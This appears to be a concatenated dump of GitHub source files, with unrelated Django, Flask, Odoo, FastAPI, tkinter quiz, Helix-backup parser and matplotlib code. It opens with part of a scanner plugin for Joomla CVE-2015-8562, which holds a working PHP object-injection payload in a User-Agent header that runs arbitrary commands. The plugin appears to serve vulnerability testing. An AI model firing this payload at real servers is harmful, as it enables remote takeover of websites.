\n def cmd(self, cmd):\n \n \"\"\"\n 执行命令\n\n :param str cmd: 要执行的命令\n\n :return tuple result: 执行的结果\n \"\"\"\n\n try:\n if self.check():\n cmd_headers = {\n \"User-Agent\":'''}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\x5C0\\x5C0\\x5C0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:%s:\"%s;JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\x5C0\\x5C0\\x5C0connection\";b:1;}\\xF0\\x9D\\x8C\\x86'''%(len(cmd) + 28, cmd) \n }\n cmd_s = requests.session()\n cmd_response = cmd_s.get(self.url, headers = cmd_headers)\n cmd_response = cmd_s.get(self.url)\n cmd_info = cmd_response.text\n result = re.findall(r'(.*)',cmd_info,re.S|re.I)\n return True, result\n else:\n return False, '不存在CVE-2015-8562漏洞'\n except Exception as e:\n print(e)\n return False, e\n finally:\n pass\n\nif __name__ == '__main__':\n CVE_2015_8562 = CVE_2015_8562_BaseVerify('http://127.0.0.1:8080')\n CVE_2015_8562.check()","repo_name":"takeboy/https-github.com-taomujian-linbing","sub_path":"python/app/plugins/http/Joomla/CVE_2015_8562.py","file_name":"CVE_2015_8562.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"31136102476","text":"# Register your models here.\nfrom course_admin.models import CourseContent\nfrom django import forms\nfrom django.contrib import admin\nfrom django.contrib.auth import get_user\nfrom django.urls import reverse\n\nfrom .models import UserTutorSchedule\n\n\n@admin.register(UserTutorSchedule)\nclass UserScheduleAdmin(admin.ModelAdmin):\n change_list_template = \"my_schedule/admin/my_schedule.html\"\n\n @property\n def media(self):\n js = [\n 'moment.min.js',\n 'jquery.min.js',\n 'jquery-ui.min.js',\n 'fullcalendar.min.js',\n 'scheduler.min.js',\n 'jquery-confirm.min.js'\n ]\n css = [\n 'fullcalendar.min.css',\n 'scheduler.min.css',\n 'jquery-ui.css',\n 'jquery-confirm.min.css',\n ]\n return forms.Media(css={'all': ['schedule/css/%s' % url for url in css]},\n js=['schedule/js/%s' % url for url in js])\n\n '''\n 列表页view\n '''\n\n def changelist_view(self, request, extra_context=None):\n tutor_id = get_user(request).id\n schedules = UserTutorSchedule.objects.filter(tutor_id=tutor_id).order_by('id')\n courses = CourseContent.objects.all().order_by('id')\n extra_context = {\n 'schedules': schedules,\n 'courses': courses,\n 'add_url': reverse('addSchedule'),\n 'update_url': reverse('updateSchedule'),\n 'del_url': reverse('delSchedule')\n }\n return super().changelist_view(request, extra_context)\n\n\n","repo_name":"bencasper/usatutor","sub_path":"usatutor_admin/my_schedule/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"29572346215","text":"from flask import Flask, render_template, request\nfrom trie import Node,Trie\nimport run\n\napp = Flask(__name__)\n\ntrie = Trie()\n \nfileMean = open(\"repository/mean.txt\",'r+')\n\nfileData = open(\"repository/data.txt\",'r+')\n \ndata = run.processFileToArray(\"repository/data.txt\")\n\ntrie = run.makeTrie(data,trie)\n\n\n\n@app.route('/', methods = ['POST','GET'])\n\ndef trieIndex(name=None):\n\n search = request.args.get('name', '')\n print(search)\n if request.method == \"POST\":\n word = request.form['newWord']\n\n mean = request.form['mean']\n\n check = run.addNodeTrie(word,mean,trie)\n\n if check ==1 :\n return render_template('index.html',name=\"Thêm thành công... !!!\")\n\n else:\n return render_template('index.html',name=\"Thêm thất bại...\")\n if request.method == 'GET':\n\n if search != None:\n \n x = trie.searchTrie(search.lower())\n\n if x <0 :\n\n name=\"Không tìm thấy \" \n print(x)\n\n else:\n\n fileMean.seek(x)\n \n print(x)\n\n name = fileMean.readline()\n \n return render_template('index.html',name=name,search=search)\n\n\nif __name__ =='__main__':\n\n app.run(debug=True)\n","repo_name":"bigdog156/Trie","sub_path":"root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"42204241973","text":"from odoo import api, fields, models\nimport requests\n\n\nclass LexofficeOrder(models.Model):\n _name = 'lexoffice.order'\n _description = 'Lexoffice Order'\n\n name = fields.Char('Order Number')\n order_date = fields.Date('Order Date')\n partner_id = fields.Many2one('res.partner', 'Customer')\n order_line_ids = fields.One2many('lexoffice.order.line', 'order_id', 'Order Lines')\n\n @api.model\n def sync_lexoffice_orders(self, api_key):\n base_url = 'https://api.lexoffice.io/v1/'\n headers = {'Authorization': f'Bearer {api_key}', 'Accept': 'application/json'}\n url = f'{base_url}voucherlist'\n response = requests.get(url, headers=headers)\n\n if response.status_code == 200:\n orders = response.json()['content']\n for order in orders:\n if order['voucherType'] == 'salesinvoice':\n self._create_update_order(order)\n else:\n raise ValueError(f'Error fetching orders from Lexoffice API: {response.text}')\n\n def _create_update_order(self, order_data):\n name = order_data['voucherNumber']\n order_date = order_data['voucherDate']\n partner_name = order_data['contact']['company']['name']\n partner = self.env['res.partner'].search([('name', '=', partner_name)], limit=1)\n\n if not partner:\n raise ValueError(f'Customer not found: {partner_name}')\n\n order_lines = []\n for line in order_data['voucherItems']:\n product_name = line['name']\n product = self.env['product.product'].search([('name', '=', product_name)], limit=1)\n\n if not product:\n raise ValueError(f'Product not found: {product_name}')\n\n order_line = {\n 'product_id': product.id,\n 'quantity': line['quantity'],\n 'price_unit': line['unitPrice']['amount'],\n }\n order_lines.append((0, 0, order_line))\n\n vals = {\n 'name': name,\n 'order_date': order_date,\n 'partner_id': partner.id,\n 'order_line_ids': order_lines,\n }\n\n existing_order = self.search([('name', '=', name)], limit=1)\n if existing_order:\n existing_order.write(vals)\n else:\n self.create(vals)\n\n\nclass LexofficeOrderLine(models.Model):\n _name = 'lexoffice.order.line'\n _description = 'Lexoffice Order Line'\n\n order_id = fields.Many2one('lexoffice.order', 'Order')\n product_id = fields.Many2one('product.product', 'Product')\n quantity = fields.Float('Quantity')\n price_unit = fields.Float('Unit Price')\n","repo_name":"euroblaze/lexoffice","sub_path":"models/lexoffice_order.py","file_name":"lexoffice_order.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71186166502","text":"\"\"\"\nEncuestas Sistemas V2, rutas (paths)\n\"\"\"\nfrom fastapi import APIRouter, Depends, HTTPException, status\nfrom sqlalchemy.orm import Session\n\nfrom lib.database import get_db\n\nfrom ..cit_clientes.authentications import get_current_active_user\nfrom ..cit_clientes.schemas import CitClienteInDB\n\nfrom .crud import validate_enc_sistema, update_enc_sistema, get_enc_sistema_url\nfrom .schemas import EncSistemaIn, EncSistemaOut, EncSistemaURLOut\n\nenc_sistemas_v2 = APIRouter(prefix=\"/v2/enc_sistemas\", tags=[\"encuestas\"])\n\n\n@enc_sistemas_v2.get(\"/validar\", response_model=EncSistemaOut)\nasync def encuesta_sistema_validar(\n hashid: str = None,\n db: Session = Depends(get_db),\n):\n \"\"\"Validar el ID hasheado para ofrecer o negar (provocando una excepcion) el formulario\"\"\"\n if not isinstance(hashid, str):\n raise HTTPException(status_code=status.HTTP_406_NOT_ACCEPTABLE)\n try:\n enc_servicio = validate_enc_sistema(db, hashid)\n except IndexError as error:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f\"Not found: {str(error)}\") from error\n except ValueError as error:\n raise HTTPException(status_code=status.HTTP_406_NOT_ACCEPTABLE, detail=f\"Not acceptable: {str(error)}\") from error\n return EncSistemaOut.from_orm(enc_servicio)\n\n\n@enc_sistemas_v2.post(\"/contestar\", response_model=EncSistemaOut)\nasync def encuesta_sistema_contestar(\n encuesta: EncSistemaIn,\n db: Session = Depends(get_db),\n):\n \"\"\"Viene el formulario con la Encuesta de Sistemas\"\"\"\n try:\n enc_servicio = update_enc_sistema(db, encuesta)\n except IndexError as error:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f\"Not found: {str(error)}\") from error\n except ValueError as error:\n raise HTTPException(status_code=status.HTTP_406_NOT_ACCEPTABLE, detail=f\"Not acceptable: {str(error)}\") from error\n return EncSistemaOut.from_orm(enc_servicio)\n\n\n@enc_sistemas_v2.get(\"/pendiente\", response_model=EncSistemaURLOut)\nasync def encuesta_servicio_pendiente(\n current_user: CitClienteInDB = Depends(get_current_active_user),\n db: Session = Depends(get_db),\n):\n \"\"\"Devuelve la URL de la encuesta de servicio PENDIENTE en caso de existir\"\"\"\n try:\n url = get_enc_sistema_url(db, current_user.id)\n except IndexError as error:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f\"Not found: {str(error)}\") from error\n except ValueError as error:\n raise HTTPException(status_code=status.HTTP_406_NOT_ACCEPTABLE, detail=f\"Not acceptable: {str(error)}\") from error\n if url is None:\n return EncSistemaURLOut(url=\"\")\n return EncSistemaURLOut(url=url)\n","repo_name":"PJECZ/pjecz-citas-v2-cliente-api-oauth2","sub_path":"citas_cliente/v2/enc_sistemas/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71184321062","text":"\"\"\"\nEdictos, rutas\n\"\"\"\nfrom typing import List\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom sqlalchemy.orm import Session\n\nfrom lib.database import get_db\n\nfrom .crud import get_edicto, get_edictos\nfrom .schemas import EdictoOut\n\nedictos = APIRouter()\n\n\n@edictos.get(\"\", response_model=List[EdictoOut])\nasync def listar_edictos(\n autoridad_id: int,\n ano: int = None,\n db: Session = Depends(get_db),\n):\n \"\"\"Lista de Edictos\"\"\"\n resultados = []\n try:\n for edicto, autoridad, distrito in get_edictos(db, autoridad_id=autoridad_id, ano=ano):\n resultados.append(\n EdictoOut(\n id=edicto.id,\n distrito_id=distrito.id,\n distrito=distrito.nombre,\n autoridad_id=autoridad.id,\n autoridad=autoridad.descripcion,\n fecha=edicto.fecha,\n descripcion=edicto.descripcion,\n expediente=edicto.expediente,\n numero_publicacion=edicto.numero_publicacion,\n archivo=edicto.archivo,\n url=edicto.url,\n )\n )\n except IndexError as error:\n raise HTTPException(status_code=404, detail=f\"Not found: {str(error)}\") from error\n except ValueError as error:\n raise HTTPException(status_code=406, detail=f\"Not acceptable: {str(error)}\") from error\n return resultados\n\n\n@edictos.get(\"/{edicto_id}\", response_model=EdictoOut)\nasync def consultar_un_edicto(edicto_id: int, db: Session = Depends(get_db)):\n \"\"\"Consultar un Edicto\"\"\"\n try:\n edicto = get_edicto(db, edicto_id=edicto_id)\n except IndexError as error:\n raise HTTPException(status_code=404, detail=f\"Not found: {str(error)}\") from error\n except ValueError as error:\n raise HTTPException(status_code=406, detail=f\"Not acceptable: {str(error)}\") from error\n return EdictoOut(\n id=edicto.id,\n distrito_id=edicto.autoridad.distrito_id,\n distrito=edicto.autoridad.distrito.nombre,\n autoridad_id=edicto.autoridad.id,\n autoridad=edicto.autoridad.descripcion,\n fecha=edicto.fecha,\n descripcion=edicto.descripcion,\n expediente=edicto.expediente,\n numero_publicacion=edicto.numero_publicacion,\n archivo=edicto.archivo,\n url=edicto.url,\n )\n","repo_name":"PJECZ/pjecz-plataforma-web-api","sub_path":"plataforma_web/v1/edictos/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"25088955609","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom PIL import Image, ImageTk\nfrom dbconnect import DBconnect\nimport random\n\n\nclass Quiz:\n\n def __init__(self):\n\n\n self._db = DBconnect()\n self.login_window()\n def login_window(self):\n\n self._root = Tk()\n self._root.title(\"QUIZADDA\")\n self._root.maxsize(600,800)\n self._root.minsize(600,800)\n self._root.config(background= \"#660033\")\n\n self._open= Label(self._root,text=\"QUIZADDA\",fg=\"#ffd11a\",bg=\"#660033\")\n self._open.config(font=(\"Algerian\",45,\"bold\"))\n self._open.pack(pady=(35,20))\n\n imageurl = \"images\\logo2.png\"\n load = Image.open(imageurl)\n load = load.resize((200, 200), Image.ANTIALIAS)\n render = ImageTk.PhotoImage(load)\n img = Label(image=render, bg=\"#660033\")\n img.image = render\n img.pack(pady=(10,20))\n\n self._name_entry = Label(self._root,text= \"ENTER YOUR NAME\",fg= \"#ffd11a\",bg=\"#660033\")\n self._name_entry.config(font=(\"Times New Roman\",18))\n self._name_entry.pack(pady=(10,15))\n\n self._name_entryInput = Entry(self._root)\n self._name_entryInput.pack(pady=(10,15),ipadx = 70,ipady= 10)\n\n self._email_entry = Label(self._root,text=\"ENTER YOUR EMAIL\",fg= \"#ffd11a\",bg=\"#660033\")\n self._email_entry.config(font=(\"Times New Roman\",18))\n self._email_entry.pack(pady=(10,15))\n\n self._email_entryInput = Entry(self._root)\n self._email_entryInput.pack(pady=(10,15),ipadx=70,ipady=10)\n\n self._enter = Button(self._root,text=\"START\",fg = \"#ffffff\",bg = \"#1a1aff\",width= 15,height= 2,command= lambda : self.enter_user())\n self._enter.config(font=(\"Times New Roman\",18))\n self._enter.pack(pady=(10,15))\n\n self._root.mainloop()\n\n def clear(self):\n for i in self._root.pack_slaves():\n i.destroy()\n\n def enter_user(self):\n self._name = self._name_entryInput .get()\n self._email = self._email_entryInput.get()\n self.participant_answer = []\n\n if len(self._name) > 0 and len(self._email) > 0:\n flag = self._db.enter_user(self._name, self._email)\n\n if flag == 1:\n self.clear()\n self.load_quiz_window()\n else:\n messagebox.showerror(\"ERROR\", \"SORRY SOMETHING WENT WRONG. PLEASE TRY AGAIN\")\n else:\n messagebox.showerror(\"ERROR\", \"PLEASE GIVE A NAME & EMAIL TO PLAY\")\n\n def calculation(self):\n self.clear()\n self.marks = 0\n x = 0\n\n\n for i in self.index:\n if self.participant_answer[x] == self.correct_ans[i]:\n self.marks= self.marks + 10\n x = x + 1\n print(self.marks)\n self.score_entry()\n\n def replay(self):\n self.clear()\n self.load_quiz_window()\n\n def total_marks(self):\n\n self._marks_lbl = Label(self._root, text=\"GAME OVER\", fg=\"#66F607\", bg=\"#660033\")\n self._marks_lbl.config(font=(\"Algerian\", 45, 'bold',\"underline\"), justify=\"center\")\n self._marks_lbl.pack(pady=(50, 50))\n\n self._marks_lbl = Label(self._root,text=str(self._name),fg=\"#FFFFFF\",bg=\"#660033\")\n self._marks_lbl.config(font=(\"Times New Roman\",35,\"bold\"),)\n self._marks_lbl.pack(pady=(20,10))\n self._marks_lbl =Label(self._root,text =\"YOUR FINAL SCORE IS \", fg=\"#FFFFFF\", bg=\"#660033\", wraplength=500)\n self._marks_lbl.config(font=(\"Times New Roman\",25,\"bold\"), justify=\"center\")\n self._marks_lbl.pack(pady=(0, 2))\n self._marks_lbl = Label(self._root,text=str(self.marks),fg=\"#FBFA0C\", bg=\"#660033\")\n self._marks_lbl.config(font=(\"Times New Roman\",35,\"bold\"))\n self._marks_lbl.pack(pady=(0,10))\n\n\n\n if self.marks >= 80:\n\n\n self._marks_lbl = Label(self._root, text=\"YOU ARE EXCELLENT!\", fg=\"#FFFFFF\",\n bg=\"#660033\")\n self._marks_lbl.config(font=(\"Eras Bold ITC\", 18, 'bold'), justify=\"center\")\n self._marks_lbl.pack(pady=(10, 40))\n\n elif self.marks < 80 and self.marks >= 40:\n\n self._marks_lbl= Label(self._root, text=\"WELL DONE!.YOU DID WELL\",\n fg=\"#FFFFFF\", bg=\"#660033\", wraplength=500)\n self._marks_lbl.config(font=(\"Eras Bold ITC\", 18, 'bold'), justify=\"center\")\n self._marks_lbl.pack(pady=(10, 40))\n\n else:\n\n self._marks_lbl = Label(self._root,\n text=\"NEED TO WORK HARD.YOU CAN BE BETTER!\",\n fg=\"#FFFFFF\", bg=\"#660033\", wraplength=500)\n self._marks_lbl.config(font=(\"Eras Bold ITC\", 18, 'bold'))\n self._marks_lbl.pack(pady=(10, 10))\n\n\n imageurl = \"images\\wdone2.jpg\"\n load = Image.open(imageurl)\n load = load.resize((280, 200), Image.ANTIALIAS)\n render = ImageTk.PhotoImage(load)\n img = Label(image=render, bg=\"#660033\")\n img.image = render\n img.pack(pady=(10,15))\n\n self.replay_btn=Button(self._root,text=\"REPLAY\", fg=\"#E5E7E9\", bg=\"#2582AB\",width=16, height=2,command=lambda: self.replay())\n self.replay_btn.config(font=(\"Arial\",16))\n self.replay_btn.pack(pady=(10,20))\n\n\n\n def score_entry(self):\n\n flag = self._db.score_entry(self.marks, self._email)\n if flag == 1:\n self.total_marks()\n else:\n messagebox.showerror(\"ERROR\", \" SOME PROBLEM IS THERE! TRY AGAIN!\")\n\n def gen(self):\n self.ques=1\n self.index= []\n\n while(len(self.index) < 10):\n\n x = random.randint(0,19)\n if x in self.index:\n continue\n else:\n self.index.append(x)\n print(self.index)\n\n\n def answered(self):\n\n x = self.radiovar.get()\n self.participant_answer.append(x)\n self.radiovar.set(-1)\n if self.ques < 10:\n self._labelqustion.config(text=self._qustions[self.index[self.ques]])\n self._r1['text'] = self._options[self.index[self.ques]][0]\n self._r2['text'] = self._options[self.index[self.ques]][1]\n self._r3['text'] = self._options[self.index[self.ques]][2]\n self._r4['text'] = self._options[self.index[self.ques]][3]\n self.ques = self.ques + 1\n\n else:\n print(self.participant_answer)\n self.calculation()\n\n\n\n\n def start_quiz(self):\n self.gen()\n self._qustions = [\n\n \"Q.1. What is the normal timing of an international football match?\",\n \"Q.2. What is the full form of RAM?\",\n \"Q.3. On which date is the republic day of India celebrated every year?\",\n \"Q.4. In Which of the following states Bharatnatyam is folk dance?\",\n \"Q.5. Where is the Wankhede stadium located?\",\n \"Q.6. Which place is called the orchid paradise in India?\",\n \"Q.7. Whose birthday is celebrated as teacher's day\",\n \"Q.8. What is the National Sport in England?\",\n \"Q.9. Who invanted Telescope? \",\n \"Q.10.Who is founder of Tata Group? \",\n \"Q.11.Which Of the following states is not located in the North of India ?\",\n \"Q.12.Which state has the largest population in India?\",\n \"Q.13.Who was the champion of 2014 FIFA World Cup?\",\n \"Q.14.The World lLargest desert is?\",\n \"Q.15.Who is the popularly called as Iron Man of India?\",\n \"Q.16.Which is The tallset Building in world?\",\n \"Q.17.What is The Largest spoken Languge in The World?\",\n \"Q.18.Which is the Hardest substance Available on Earth?\",\n \"Q.19.Who is the current Indian Cricket team Captain in Test?\",\n \"Q.20.Most Populated Countrey in the World?\"\n ]\n\n self._options = [\n [\"60 minutes\", \"120 minutes\", \"90 minutes\", \"180 minutes\"],\n [\"Right Access Memory\", \"Random Access Memory\", \"Random All Memory\", \"None of the above\"],\n [\"january 26\", \"August 15\", \"May 1\", \"October 2\"],\n [\"Manipur\", \"Uttar pradesh\", \"Tamil Nadu\", \"Gujrat\"],\n [\"Kolkata\", \"Hydrabad\", \"Himachal Pradesh\", \"Mumbai\"],\n [\"Arunachal Pradesh\", \"Rajasthan\", \"Kerala\", \"Telengana\"],\n [\"Derozio\", \"S Radhakrishnan\", \"Mother Teresa\", \"Vidyasagar\"],\n [\"Cricket\", \"Football\", \"Rugby\", \"Baseball\"],\n [\"Gutenberg\", \"Graham Bell\", \"Galileans\", \"Edison\"],\n [\"Jamsetji Tata\", \"Ratan Tata\", \"Naval Tata\", \"Dorabji Tata\"],\n [\"Jharkhand\", \"jammu Kashmir\", \"Himachal Pradesh\", \"Harayana\"],\n [\"uttar Pradesh\", \"West Bengal\", \"Bihar\", \"Maharastra\"],\n [\"Brazil\", \"Spain\", \"Germany\", \"Argentina\"],\n [\"Thar\", \"Kalahari\", \"Sahara\", \"Sonoran\"],\n [\"Subhash chandra Bose\", \"Sardar vallabhbhai Patel\", \"jawaharlal nehru\", \"Govind ballabh Pant\"],\n [\"Burjh Khalifa\", \"Sanghai Tower\", \"Makkah Royal Clock\", \"jeddah Tower\"],\n [\"English\", \"mandarin\", \"Hindi\", \"Urdu\"],\n [\"Rock\", \"Iron\", \"Steel\", \"Diamond\"],\n [\"Kapil dev\", \"MS Dhoni\", \"Rohit Sharma\", \"Virat kohli\"],\n [\"India\", \"China\", \"UK\", \"Russia\"]\n\n ]\n\n self.correct_ans = [2,1,0,2,3,0,1,0,2,0,0,0,2,2,1,0,1,3,3,1]\n\n self._labelqustion=Label(self._root, text =self._qustions[self.index[0]], font=(\"Times New Roman\",30,), width =500, justify=\"center\", wraplength=500,fg=\"#FFFFFF\",bg=\"#660033\")\n self._labelqustion.pack(pady=(50,20))\n\n self.radiovar = IntVar()\n self.radiovar.set(-1)\n\n self._r1 = Radiobutton(self._root, text=self._options[self.index[0]][0], font=(\"Times\", 25), value=0, variable=self.radiovar,fg=\"#FFFFFF\",bg=\"#660033\", command=lambda: self.answered())\n self._r1.pack()\n\n self._r2 = Radiobutton(self._root, text=self._options[self.index[0]][1], font=(\"Times\", 25), value=1, variable=self.radiovar,fg=\"#FFFFFF\",bg=\"#660033\", command=lambda: self.answered())\n self._r2.pack()\n\n self._r3 = Radiobutton(self._root, text=self._options[self.index[0]][2], font=(\"Times\", 25), value=2, variable=self.radiovar,fg=\"#FFFFFF\",bg=\"#660033\", command=lambda: self.answered())\n self._r3.pack()\n\n self._r4 = Radiobutton(self._root, text=self._options[self.index[0]][3], font=(\"Times\", 25), value=3, variable=self.radiovar,fg=\"#FFFFFF\",bg=\"#660033\", command=lambda: self.answered())\n self._r4.pack()\n\n #self._next=Button(self._root, text=\"Next\", fg=\"#E5E7E9\", bg=\"#2582AB\", width=25, height=3, command=lambda: self.answered())\n #self._next.config(font=(\"Times\",16))\n #self._next.pack(pady=(40,10))\n\n\n\n def button_pressed(self):\n self.clear()\n self.start_quiz()\n\n\n\n def clear(self):\n for i in self._root.pack_slaves():\n i.destroy()\n\n\n\n def load_quiz_window(self):\n\n\n self._namelabel = Label(self._root, fg=\"#44CD1E\", bg=\"#660033\")\n self._namelabel.config(text=\"HELLO!\\n \" + str(self._name) )\n self._namelabel.config(font=(\"Algerian\", 30,\"bold\"))\n self._namelabel.pack(pady=(50, 18))\n\n self._readylabel = Label(self._root, text=\"ARE YOU READY FOR QUIZADDA ?\", fg=\"#DBE326\", bg=\"#660033\")\n self._readylabel.config(font=(\"BROADWAY\", 20,\"bold\" ))\n self._readylabel.pack(pady=(14, 50))\n\n self._followlabel = Label(self._root, text=\"READ THE INSTRUCTIONS CAREFULLY\\n BEFORE STARTING !\",fg=\"#E5E7E9\", bg=\"#EA0655\")\n self._followlabel.config(font=(\"Arial\", 20, 'bold'))\n self._followlabel.pack(pady=(0, 20))\n\n self._rules1label = Label(self._root, text=\"1. THERE ARE TOTAL 10 QUESTIONS\\n THAT YOU HAVE TO ATTEND\", fg=\"#E5E7E9\", bg=\"#660033\")\n self._rules1label.config(font=(\"Arial\", 14))\n self._rules1label.pack(pady=(10, 10))\n\n self._rules2label = Label(self._root, text=\"2. ALL QUESTIONS CONSISTS OF 10(Five)\\n MARKS EACH\", fg=\"#E5E7E9\",bg=\"#660033\")\n self._rules2label.config(font=(\"Arial\", 14))\n self._rules2label.pack(pady=(0, 10))\n\n self._rules3label = Label(self._root, text=\"3. ALL QUESTIONS ARE COMPULSORY\", fg=\"#E5E7E9\", bg=\"#660033\")\n self._rules3label.config(font=(\"Arial\", 14))\n self._rules3label.pack(pady=(0, 10))\n\n self._rules4label = Label(self._root, text=\"4. ALL ARE MCQ TYPE QUESTIONS\", fg=\"#E5E7E9\", bg=\"#660033\")\n self._rules4label.config(font=(\"Arial\", 14))\n self._rules4label.pack(pady=(0, 10))\n\n self._rules5label = Label(self._root, text=\"5. ONLY ONE OPTION IS CORRECT\", fg=\"#E5E7E9\", bg=\"#660033\")\n self._rules5label.config(font=(\"Arial\", 14))\n self._rules5label.pack(pady=(0, 10))\n\n self._rules6label = Label(self._root, text=\"6. AFTER READING THE RULES CAREFULLY\\n PRESS THE BUTTON TO START\", fg=\"#E5E7E9\",bg=\"#660033\")\n self._rules6label.config(font=(\"Arial\", 14))\n self._rules6label.pack(pady=(0, 10))\n\n self._start = Button(self._root, text=\"START QUIZ\", fg=\"#E5E7E9\", bg=\"#2582AB\", width=25, height=3, command=lambda: self.button_pressed())\n self._start.config(font=(\"Arial\", 10,\"bold\"))\n self._start.pack(pady=(10, 15))\n\n\n\n\n\n\n\n\nobj=Quiz()\n\n\n","repo_name":"mridul199/quizz-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8239228583","text":"#!/usr/bin/env python3\n\nimport util\nimport info\nimport ir\nimport setlist\n\nimport zlib\nimport json\nimport pprint\n\nclass Section:\n\t'''\n\tClass the contents of one section of the footer\n\t'''\n\tdef __init__(self, data, footerSectionOffset, footerSectionSize):\n\t\t## raw data from the footer\n\t\tself.footer = util.getBytes(data, footerSectionOffset, footerSectionSize)\n\t\tself.footerSize = len(self.footer)\n\t\tself.footerOffset = footerSectionOffset\n\t\t## parsed data from the footer\n\t\tself.name = None\n\t\tself.footerValues = []\n\t\t# 1st 32-bit (LE) int\n\t\tself.sectionOffset = None\n\t\t# 3rd 32-bit (LE) int\n\t\tself.compressedSize = None\n\t\t# 5th 32-bit (LE) int\n\t\tself.compressed = None\n\t\t# 6th 32-bit (LE) int\n\t\tself.uncompressedSize = None\n\t\t\n\t\tself.analyzeFooter()\n\n\t\t## raw data from the section\n\t\tself.rawData = util.getBytes(data, self.sectionOffset, self.compressedSize)\n\t\tself.rawDataSize = len(self.rawData)\n\t\t## parsed data from the section\n\t\tself.data = None\n\t\tself.dataSize = None\n\t\t#\n\t\tself.ir = None\n\t\tself.jsonGlobal = None\n\t\tself.deviceInfo = None\n\t\tself.description = None\n\t\tself.setList = None\n\t\tself.setListName = None\n\t\t\n\t\tself.decompress()\n\t\t\n\t\tself.analyze()\n\n\n\tdef analyzeFooter(self):\n\t\t#\n\t\tself.name = util.getBytes(self.footer, 0, util.sectionNameSize)\n\t\t\n\t\t#\n\t\tfor i in range(util.sectionNameSize, self.footerSize, util.intSize):\n\t\t\tself.footerValues.append(util.getInt(self.footer, i))\n\n\t\t#\n\t\tself.sectionOffset = self.footerValues[0]\n\t\tself.compressedSize = self.footerValues[2]\n\t\tself.compressed = (self.footerValues[4] > 0)\n\t\tself.uncompressedSize = self.footerValues[5]\n\n\n\tdef decompress(self):\n\t\tif self.compressed == False:\n\t\t\t# No decompression needed\n\t\t\tself.data = self.rawData\n\t\t\tself.dataSize = self.rawDataSize\n\t\telse:\n\t\t\t# Decompress the data\n\t\t\tself.data = zlib.decompress(self.rawData)\n\t\t\tself.dataSize = len(self.data)\n\t\t\n\t\t# Error check\n\t\tif self.compressedSize != self.rawDataSize:\n\t\t\tprint(\"Error: Section {}: compressed size discrepancy: {}!={}\".format(self.footerSection.label, self.footerSection.compressedSize, self.rawDataSize))\n\t\tif self.uncompressedSize != self.dataSize:\n\t\t\tprint(\"Error: Section {}: decompressed size discrepancy: {}!={}\".format(self.footerSection.label, self.footerSection.deflatedSize, self.dataSize))\n\n\n\tdef analyze(self):\n\t\tif self.name[2:] == b'0I':\n\t\t\t# IR section\n\t\t\tself.ir = ir.ImpulseResponse(self.data, self.name)\n\t\telif self.name == b'BOLG':\n\t\t\t# Global section\n\t\t\tself.jsonGlobal = json.loads(self.data.decode('utf-8'))\n\t\telif self.name[1:] == b'0LS':\n\t\t\t# Set List section\n\t\t\tself.setList = setlist.SetList(self.data, self.name)\n\t\telif self.name == b'IDXH':\n\t\t\tself.deviceInfo = info.DeviceInfo(self.data, self.name)\n\t\telif self.name == b'CSED':\n\t\t\t# Backup file description\n\t\t\tself.description = self.data.decode('utf-8')\n\t\telif self.name == b'MNLS':\n\t\t\t# Set List names\n\t\t\t# Note: this is probably more interesting on the Helix devices than on the HX Stomp\n\t\t\tself.setListName = self.data.decode('utf-8')\n\t\telse:\n\t\t\tpass\n\t\t\t#print(\"{} {}\".format(self.name, self.data))\n\t\t\t#print(len(self.data))\n\t\t\t#for i in range(0, len(self.data), util.intSize):\n\t\t\t#\tprint(i, util.getInt(self.data, i))\n\n\tdef jsonPrint(self, data):\n\t\tpprint.pprint(data)\n","repo_name":"frankdeath/hx-tools","sub_path":"section.py","file_name":"section.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"27966069289","text":"from os.path import join\n\nimport matplotlib.pyplot as plt\n\n\ndef init_figure(size=(2, 2), dpi=96):\n plt.figure(figsize=size, dpi=dpi)\n\n\ndef save_fig(name, extension='pdf', figure_path='figures', figure_prefix='figure'):\n plt.tight_layout()\n\n plt.savefig(join(figure_path, figure_prefix + \"_\" + name + '.' + extension), format=extension)\n plt.close('all')\n\n\ndef make_legend(legend):\n plt.legend(legend, fontsize=8)\n\n\ndef set_properties(title, x_label=\"\", y_label=\"\", x_tick=None, y_tick=None, x_limits=None, y_limits=None,\n y_ticklabel=None, x_ticklabel=None):\n plot_label_size = 12\n tick_label_size = 10\n\n plt.xlabel(x_label, size=plot_label_size)\n if x_ticklabel is not None:\n plt.gca().set_xticklabels(x_ticklabel)\n\n plt.ylabel(y_label, size=plot_label_size)\n if y_ticklabel is not None:\n plt.gca().set_yticklabels(y_ticklabel)\n\n if x_tick is 